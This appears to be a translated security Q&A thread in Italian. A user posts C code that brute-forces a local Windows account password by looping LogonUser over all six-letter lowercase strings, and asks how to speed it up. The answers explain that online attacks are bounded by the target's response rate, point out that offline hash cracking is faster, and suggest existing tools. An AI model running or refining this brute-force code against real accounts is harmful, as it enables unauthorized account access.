Come realizzare un attacco bruteforce efficace su Windows? [chiuso]

1

Ho cercato di trovare un modo per potenziare la bruteforce su Windows, ma il metodo che ho attualmente non è molto efficiente. Ho fatto un po 'di profilazione e ho scoperto che in media può passare attraverso 274.080 tentativi al minuto, il che equivarrebbe a uno scenario peggiore di 18 ore per craccare una password di 6 caratteri senza caratteri speciali. C'è un modo per attaccare in modo più efficiente di questo?

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>

#define WIN_32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0501
#include <windows.h>

#define USERNAME "Johnny"
#define LENGTH 6
#define MINIMUM 'a'
#define MAXIMUM 'z'

double NumberOfPermuationsOfString( int length, char minimum, char maximum )
{
    return pow( ( maximum - minimum ) + 1, length );
}

FORCEINLINE int NextPermutation( char ** buffer, const size_t length, char minimum, char maximum )
{
    int i = 0;

    for ( i = length - 1; i >= 0; --i )
    {
        if ( ( *buffer )[i] != maximum )
        {
            ++( *buffer )[i];
            return 1;
        }
        else
            ( *buffer )[i] = minimum;
    }

    return 0;
}

int Bruteforce( char ** buffer, const size_t length, char minimum, char maximum )
{
    size_t result = FALSE;
    size_t i = 0;
    HANDLE htoken = INVALID_HANDLE_VALUE;

    timerMod( TIMER_START );

    do
        result = LogonUser( USERNAME, ".", *buffer, LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &htoken );
    while ( !result && NextPermutation( buffer, length, MINIMUM, MAXIMUM ) );

    if ( !result ) return 0;

    CloseHandle( htoken );
    return 1;
}

int main( )
{
    char * buffer = malloc( LENGTH + 1 );

    if ( !buffer )
        showStandardError( "Allocating memory", TRUE );

    memset( buffer, 0, LENGTH + 1 );
    memset( buffer, MINIMUM, LENGTH );

    printf( "Bruteforcing with %0.lf password permuations...\n", NumberOfPermuationsOfString( LENGTH, MINIMUM, MAXIMUM ) );

    if ( Bruteforce( &buffer, LENGTH, MINIMUM, MAXIMUM ) )
    {
        printf( "Success! Password : %s\n", buffer );
        return 0;
    }
    else
        return 1;

    return 0;
}
    
posta Gastrocnemius 19.04.2014 - 02:28
fonte

2 risposte

2

Sembra che tu stia eseguendo un attacco "online", nel qual caso la velocità con cui puoi lavorare è limitata dalla velocità con cui il tuo computer target è disposto a rispondere ai tentativi di accesso. Dato che il tuo codice non è (o almeno non dovrebbe essere) il fattore limitante, non c'è nulla che tu possa fare per accelerare l'attacco.

Se è possibile acquisire gli hash delle password, è possibile eseguire un attacco "offline", nel qual caso la velocità con cui è possibile provare le password è limitata solo dalla quantità di potenza di calcolo che è possibile utilizzare per il lavoro.

    
risposta data 19.04.2014 - 07:55
fonte
0

Stai provando a forzare la password del sistema Windows o la password del software di terze parti?

Se stai cracciando la rete, provare a utilizzare una velocità di rete più veloce potrebbe essere d'aiuto. Oppure usa i software esistenti di forza bruta.

    
risposta data 19.04.2014 - 16:51
fonte

Leggi altre domande sui tag